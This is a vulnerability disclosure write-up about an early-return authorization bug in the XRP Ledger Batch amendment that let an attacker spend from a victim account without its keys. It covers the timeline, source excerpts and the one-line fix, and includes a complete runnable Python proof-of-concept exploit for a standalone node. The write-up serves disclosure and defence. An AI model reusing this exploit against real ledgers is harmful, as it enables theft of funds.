An 80 billion dollar bug in the XRP Ledger

criticalblockchain

On 19 February 2026, with the Batch amendment having just reached enough validator support for future activation on XRPL mainnet, we reported a critical authorization flaw in its signer check. The amendment had not activated yet, so no user funds were at risk that day, but the activation window was close enough that any mistake in the response would have mattered to every funded account on the ledger. XRP mainnet's market capitalization hovered around 80 billion USD through February 2026. The vulnerable path below had not reached production, but if it had, the blast radius was chain-wide. The amendment never activated. Ripple shipped rippled 3.1.1 on 23 February, four days after report, and marked both Batch and the sibling fixBatchInnerSigs amendment unsupported while a corrected BatchV1_1 replacement was prepared.

What a batch transaction authorizes, and how

The Batch amendment lets one outer transaction carry a list of inner transactions from different accounts and execute them atomically. The inner transactions are not individually signed. The protocol explicitly requires each inner tx to have an empty SigningPubKey, no TxnSignature, and no Signers field. Authorization for the inner transactions is instead delegated entirely to a single sfBatchSigners array on the outer transaction. Each entry in that array is a (Account, SigningPubKey, TxnSignature) triple that says "this account authorizes the inner transactions, and here is the signature proving it".

The outer gate that validates those entries is Transactor::checkBatchSign. It iterates the array, and for each entry calls checkSingleSign (or the multisign equivalent) to verify that the signing key is actually authorized by the claimed account, either as its master key or as its assigned RegularKey. If any entry fails, the whole batch is rejected.

That is what the function is supposed to do. Here is what it did:

src/libxrpl/tx/Transactor.cpp - checkBatchSign, unabridged
NotTEC ret = tesSUCCESS;
STArray const& signers{ctx.tx.getFieldArray(sfBatchSigners)};
for (auto const& signer : signers)
{
    auto const idAccount = signer.getAccountID(sfAccount);

    Blob const& pkSigner = signer.getFieldVL(sfSigningPubKey);
    if (pkSigner.empty())
    {
        if (ret = checkMultiSign(ctx.view, ctx.flags, idAccount, signer, ctx.j);
            !isTesSuccess(ret))
            return ret;
    }
    else
    {
        if (!publicKeyType(makeSlice(pkSigner)))
            return tefBAD_AUTH;

        auto const idSigner = calcAccountID(PublicKey(makeSlice(pkSigner)));
        auto const sleAccount = ctx.view.read(keylet::account(idAccount));

        // A batch can include transactions from an un-created account ONLY
        // when the account master key is the signer
        if (!sleAccount)
        {
            if (idAccount != idSigner)
                return tefBAD_AUTH;

            return tesSUCCESS;          // <-- the bug
        }

        if (ret = checkSingleSign(ctx.view, idSigner, idAccount, sleAccount, ctx.j);
            !isTesSuccess(ret))
            return ret;
    }
}
return ret;

The branch the comment is talking about is legitimate in spirit. A batch can create a brand-new account and then immediately spend from it later in the same batch, so preclaim time really can see a signer account that does not exist yet in the ledger. In that specific case, the only key that can credibly speak for the account is its own master key, so idAccount == idSigner is the right check.

The implementation of the success arm is not. It returns from the whole function. Any BatchSigners entries that come after the first uncreated self-signed account are never validated at all.

The missing signer-to-account binding

The exploit also depends on a second design fact: in the single-sign path used here, the cryptographic batch-signature check does not bind the signer's claimed account into the signed payload.

include/xrpl/protocol/Batch.h + src/libxrpl/protocol/STTx.cpp - what a batch signer actually signs
inline void
serializeBatch(
    Serializer& msg,
    std::uint32_t const& flags,
    std::vector<uint256> const& txids)
{
    msg.add32(HashPrefix::batch);
    msg.add32(flags);
    msg.add32(std::uint32_t(txids.size()));
    for (auto const& txid : txids)
        msg.addBitString(txid);
}

Expected<void, std::string>
STTx::checkBatchSingleSign(
    STObject const& batchSigner,
    RequireFullyCanonicalSig requireCanonicalSig) const
{
    Serializer msg;
    serializeBatch(msg, getFlags(), getBatchTransactionIDs());
    bool const fullyCanonical = (getFlags() & tfFullyCanonicalSig) ||
        (requireCanonicalSig == STTx::RequireFullyCanonicalSig::yes);
    return singleSignHelper(batchSigner, msg.slice(), fullyCanonical);
}

For single-signed batch signers, the signed message commits to the batch flag word and the ordered list of inner transaction IDs. It does not commit to the Account field written next to the signature inside sfBatchSigners. So a signature in a batch signer entry proves only "the holder of this public key signed this batch payload". It does not, by itself, prove "this public key is allowed to authorize the account named beside it".

The bug is not "signature forging". The attacker signs honestly with keys they control. The broken assumption is that a mathematically valid batch signature will later be tied to the correct ledger account. That second step lives in checkSingleSign, and the early return stops it from running on the forged entry.

On a correct implementation this looseness would still be safe, because Transactor::checkBatchSign is supposed to run checkSingleSign for every signer and reject any key that is not the master key or RegularKey for its claimed account. The exploit works because the batch passes the cryptographic check honestly under the attacker's key, and then exits before the ledger-authorization check for the victim ever runs.

The two-signer trick

Turning those two facts into an exploit takes one throwaway account and no stolen keys.

Let A be the attacker's funded account. Let B be a freshly generated keypair whose address has never been seen by the ledger. B is not funded, does not exist on-chain, and the attacker owns its seed. Let V be the victim account: it exists on-chain, it holds XRP, and the attacker has no key material for it.

The attacker constructs a ttBATCH transaction whose outer account is A, whose outer signature is A's own, and whose inner transactions are, in order:

All three inner transactions are structurally valid batch inners: tfInnerBatchTxn set, Fee=0, empty SigningPubKey, and no signatures. Batch preflight insists on that shape.

The attacker then builds sfBatchSigners with exactly two entries, in this order:

the BatchSigners array that turns 'you do not own V' into 'V pays you'
BatchSigners: [
  {
    Account:        B,     // not in ledger yet
    SigningPubKey:  B_pub,
    TxnSignature:   Sig_B(serializeBatch(flags, [txid(T1), txid(T2), txid(T3)])),
  },
  {
    Account:        V,     // the real target
    SigningPubKey:  A_pub, // attacker's own public key
    TxnSignature:   Sig_A(serializeBatch(flags, [txid(T1), txid(T2), txid(T3)])),
  },
]

The outer ttBATCH is signed by A, which is trivial because A holds its own key. Now replay the loop in checkBatchSign against that array:

  1. First iteration, signer B. pkSigner is non-empty. idAccount = B. idSigner = calcAccountID(B_pub) = B. The ledger has no account for B yet, so sleAccount is null. The code enters the !sleAccount branch. idAccount == idSigner, so the rejection does not fire. The next line runs: return tesSUCCESS. The loop exits. The function exits.
  2. There is no second iteration. The entry for V, whose signature was produced by A_pub and is not authorized for V under any circumstance, is never checked by anything in the ledger authorization path.

checkBatchSign returns tesSUCCESS. The batch moves on to apply. Inner transactions bypass their own signature checks by design, because they are supposed to be authorized by the outer batch signer list, so T3 runs as V, moves XRP from V to A, and commits.

The exploit is complete. No part of it requires a stolen key, a shared RegularKey, or a socially engineered signer. It uses the protocol exactly as designed, except for one early return.

Why preflight still says yes

The outer batch survives preflight because preflight is split across two different responsibilities: "do the signer account IDs cover the inner accounts?" and "are these signatures mathematically valid for the keys they present?". The bug sits in the third responsibility, "are those keys actually authorized for those accounts on this ledger?".

src/libxrpl/tx/transactors/system/Batch.cpp - preflight only checks signer coverage and signature shape
std::unordered_set<AccountID> requiredSigners;
for (STObject const& rb : rawTxns)
{
    auto const innerAccount = rb.getAccountID(sfAccount);
    if (innerAccount != outerAccount)
        requiredSigners.insert(innerAccount);

    if (auto const counterparty = rb.at(~sfCounterparty);
        counterparty && counterparty != outerAccount)
        requiredSigners.insert(*counterparty);
}

for (auto const& signer : signers)
{
    AccountID const signerAccount = signer.getAccountID(sfAccount);
    if (requiredSigners.erase(signerAccount) == 0)
        return temBAD_SIGNER;
}

auto const sigResult = ctx.tx.checkBatchSign(ctx.rules);
if (!sigResult)
    return temBAD_SIGNATURE;

The set logic only tracks claimed signer accounts. The array {B, V} covers the non-outer accounts used by T2 and T3, so requiredSigners empties cleanly. Then ctx.tx.checkBatchSign verifies that both signatures are cryptographically valid for their supplied public keys over the batch payload. Both are. Nothing in this stage asks whether A_pub is actually allowed to speak for V.

That ledger lookup is supposed to happen later in Transactor::checkBatchSign, through checkSingleSign. But that is exactly the function that returns early on B.

There is no second chance during inner transaction apply either:

src/libxrpl/tx/Transactor.cpp - inner batch transactions intentionally skip their own signature checks
auto const pkSigner = sigObject.getFieldVL(sfSigningPubKey);

// Ignore signature check on batch inner transactions
if (parentBatchId && view.rules().enabled(featureBatch))
{
    if (sigObject.isFieldPresent(sfTxnSignature) || !pkSigner.empty() ||
        sigObject.isFieldPresent(sfSigners))
    {
        return temINVALID_FLAG;
    }
    return tesSUCCESS;
}

Once the outer batch clears its signer list, the forged victim inner transaction is allowed to execute as an ordinary inner transaction. That skip is correct by design. The design assumption is that the outer signer list has already been fully authorized. The early return breaks that assumption.

It was not just a payment bug

The demo transaction is a Payment because balances make the failure obvious. The actual impact is wider. Any inner transaction whose security model reduces to "did this account authorize this transaction?" becomes reachable.

That includes AccountSet, which can toggle flags or replace account-level configuration, and TrustSet, which can mutate lines and limits. If a victim account is otherwise eligible, it also reaches operations like AccountDelete. The exploit surface was not "send XRP from a victim once". It was "act as an arbitrary account inside any batch once you can get past the signer loop".

A localnet repro you can actually run

We validated the bug on a single-node standalone rippled with the Batch amendment manually enabled. The setup is plain: start a local node, enable the amendment in config, verify it is live in the current ledger, and submit a self-contained Python script that creates A, leaves B unfunded, funds V, and then sends the forged batch.

minimal standalone setup - amendment stanza, startup, and feature probe
[server]
port_rpc_admin_local

[port_rpc_admin_local]
port = 5005
ip = 127.0.0.1
admin = 127.0.0.1
protocol = http

[node_db]
type=NuDB
path=<LOCALNET_DIR>/db/nudb

[database_path]
<LOCALNET_DIR>/db

[debug_logfile]
<LOCALNET_DIR>/debug.log

[validators_file]
<LOCALNET_DIR>/validators.txt

[amendments]
894646DD5284E97DECFE6674A6D6152686791C4A95F8C132CCA9BAF9E5812FB6 Batch
<RIPPLED_HOME>/.build/rippled --conf <LOCALNET_DIR>/rippled.cfg --standalone

curl -s -X POST http://127.0.0.1:5005 \
  -H 'Content-Type: application/json' \
  -d '{"method":"feature"}' | rg -n '"name":"Batch"|"enabled":true'
If DeletableAccounts is enabled, a newly created account's first usable Sequence is the current ledger index rather than 1. That is why the runnable PoC below queries ledger_current before building T2. It is a PoC hygiene detail, not part of the vulnerability.
batch_early_return_poc.py - full runnable PoC
#!/usr/bin/env python3
import hashlib
import json
import sys
import urllib.request

from xrpl.core import binarycodec, keypairs
from xrpl.constants import CryptoAlgorithm

RPC_URL = "http://127.0.0.1:5005"
GENESIS_ACCOUNT = "rHb9CJAWyB4rj91VRWn96DkukG4bwdtyTh"
GENESIS_SEED = "snoPBrXtMeMyMHUVTgbuqAfg1SUTb"

TF_INNER_BATCH = 0x40000000
TF_ALL_OR_NOTHING = 0x00010000


def rpc(method, params=None):
    body = {"method": method}
    if params is not None:
        body["params"] = [params]
    data = json.dumps(body).encode("utf-8")
    req = urllib.request.Request(
        RPC_URL, data=data, headers={"Content-Type": "application/json"}
    )
    with urllib.request.urlopen(req) as resp:
        payload = json.loads(resp.read().decode("utf-8"))
    if "result" not in payload:
        raise RuntimeError(f"RPC error: {payload}")
    return payload["result"]


def ledger_accept():
    return rpc("ledger_accept")


def account_info(account):
    res = rpc(
        "account_info",
        {"account": account, "ledger_index": "current", "strict": True},
    )
    if "error" in res:
        raise RuntimeError(res)
    return res


def account_balance(account):
    try:
        info = account_info(account)
    except Exception:
        return None
    if "account_data" not in info:
        return None
    return int(info["account_data"]["Balance"])


def fund_from_genesis(dest, amount_drops, fee_drops):
    seq = account_info(GENESIS_ACCOUNT)["account_data"]["Sequence"]
    tx = {
        "TransactionType": "Payment",
        "Account": GENESIS_ACCOUNT,
        "Destination": dest,
        "Amount": str(amount_drops),
        "Sequence": seq,
        "Fee": str(fee_drops),
    }
    res = rpc("submit", {"secret": GENESIS_SEED, "tx_json": tx})
    ledger_accept()
    return res


def txid_from_json(tx_json):
    tx_hex = binarycodec.encode(tx_json)
    prefix = b"TXN\x00"
    digest = hashlib.sha512(prefix + bytes.fromhex(tx_hex)).digest()
    return digest[:32].hex().upper()


def main():
    info = rpc("server_info")["info"]
    if info.get("server_state") != "full":
        print("Server not in full state.", file=sys.stderr)

    features = rpc("feature")["features"]
    if not any(v.get("name") == "Batch" and v.get("enabled") for v in features.values()):
        print("Batch feature not enabled on ledger.", file=sys.stderr)
        return 2

    fee_info = rpc("fee")["drops"]
    base_fee = int(fee_info["base_fee"])
    outer_fee = base_fee * (2 + 2 + 3)

    def new_wallet(label):
        seed = keypairs.generate_seed(algorithm=CryptoAlgorithm.SECP256K1)
        pub, priv = keypairs.derive_keypair(seed, algorithm=CryptoAlgorithm.SECP256K1)
        addr = keypairs.derive_classic_address(pub)
        return {"label": label, "seed": seed, "pub": pub, "priv": priv, "addr": addr}

    A = new_wallet("attacker_A")
    B = new_wallet("new_account_B")
    V = new_wallet("victim_V")

    print("Accounts:")
    for w in (A, B, V):
        print(f"  {w['label']}: {w['addr']} (seed {w['seed']})")

    fund_from_genesis(A["addr"], 1_000_000_000, base_fee)
    fund_from_genesis(V["addr"], 1_000_000_000, base_fee)

    a_seq = account_info(A["addr"])["account_data"]["Sequence"]
    v_seq = account_info(V["addr"])["account_data"]["Sequence"]
    batch_ledger_seq = rpc("ledger_current")["ledger_current_index"]

    print(f"Ledger index for batch: {batch_ledger_seq}")
    print(f"A sequence: {a_seq} | V sequence: {v_seq}")
    bal_a_before = account_balance(A["addr"])
    bal_v_before = account_balance(V["addr"])
    bal_b_before = account_balance(B["addr"])

    t1 = {
        "TransactionType": "Payment",
        "Account": A["addr"],
        "Destination": B["addr"],
        "Amount": str(100_000_000),
        "Sequence": a_seq + 1,
        "Fee": "0",
        "Flags": TF_INNER_BATCH,
        "SigningPubKey": "",
    }

    t2 = {
        "TransactionType": "Payment",
        "Account": B["addr"],
        "Destination": A["addr"],
        "Amount": str(1_000_000),
        "Sequence": batch_ledger_seq,
        "Fee": "0",
        "Flags": TF_INNER_BATCH,
        "SigningPubKey": "",
    }

    t3 = {
        "TransactionType": "Payment",
        "Account": V["addr"],
        "Destination": A["addr"],
        "Amount": str(300_000_000),
        "Sequence": v_seq,
        "Fee": "0",
        "Flags": TF_INNER_BATCH,
        "SigningPubKey": "",
    }

    txids = [txid_from_json(t1), txid_from_json(t2), txid_from_json(t3)]

    batch_message_hex = binarycodec.encode_for_signing_batch(
        {"flags": TF_ALL_OR_NOTHING, "transaction_ids": txids}
    )

    signer_b = keypairs.sign(batch_message_hex, B["priv"])
    signer_v = keypairs.sign(batch_message_hex, A["priv"])

    batch_signers = [
        {
            "BatchSigner": {
                "Account": B["addr"],
                "SigningPubKey": B["pub"],
                "TxnSignature": signer_b,
            }
        },
        {
            "BatchSigner": {
                "Account": V["addr"],
                "SigningPubKey": A["pub"],
                "TxnSignature": signer_v,
            }
        },
    ]

    outer = {
        "TransactionType": "Batch",
        "Account": A["addr"],
        "Sequence": a_seq,
        "Fee": str(outer_fee),
        "Flags": TF_ALL_OR_NOTHING,
        "SigningPubKey": A["pub"],
        "RawTransactions": [
            {"RawTransaction": t1},
            {"RawTransaction": t2},
            {"RawTransaction": t3},
        ],
        "BatchSigners": batch_signers,
    }

    signing_hex = binarycodec.encode_for_signing(outer)
    outer_sig = keypairs.sign(signing_hex, A["priv"])
    outer["TxnSignature"] = outer_sig

    tx_blob = binarycodec.encode(outer)

    print("Submitting outer Batch transaction...")
    res = rpc("submit", {"tx_blob": tx_blob})
    ledger_accept()

    print("Submit result:")
    print(json.dumps(res, indent=2))

    bal_a = account_balance(A["addr"])
    bal_v = account_balance(V["addr"])
    bal_b = account_balance(B["addr"])

    print("Balances (drops):")
    print(f"  A: {bal_a} (before {bal_a_before})")
    print(f"  V: {bal_v} (before {bal_v_before})")
    print(f"  B: {bal_b} (before {bal_b_before})")

    return 0


if __name__ == "__main__":
    raise SystemExit(main())

On a vulnerable standalone node, the outer batch returns tesSUCCESS, V's balance drops by the amount in T3, A's balance rises by slightly less than that amount net of the outer batch fee, and B appears as a newly created account. The victim's keys are never used at any point in the run.

The fix

One character of C++. return tesSUCCESS should be continue.

the conceptual fix
if (!sleAccount)
{
    if (idAccount != idSigner)
        return tefBAD_AUTH;

-   return tesSUCCESS;
+   continue;
}

That is the local code fix. The shipped remediation was broader and correct. Rippled 3.1.1 flipped both Batch and the already-pending fixBatchInnerSigs amendments to unsupported, removing them from the voting pool entirely while a corrected BatchV1_1 is reviewed.

That response matches the risk. An amendment sitting near activation is effectively a scheduled production release. Pulling it from the voting pool costs a later re-vote. Leaving it live while a patch is still being reviewed creates an exploit window on mainnet.

The larger lesson is that cryptographic validity and authorization are different obligations. A future BatchV1_1 needs both: every signer entry must verify under the key it presents, and every presented key must be checked against the account it claims to authorize, with no early success exits anywhere inside that loop.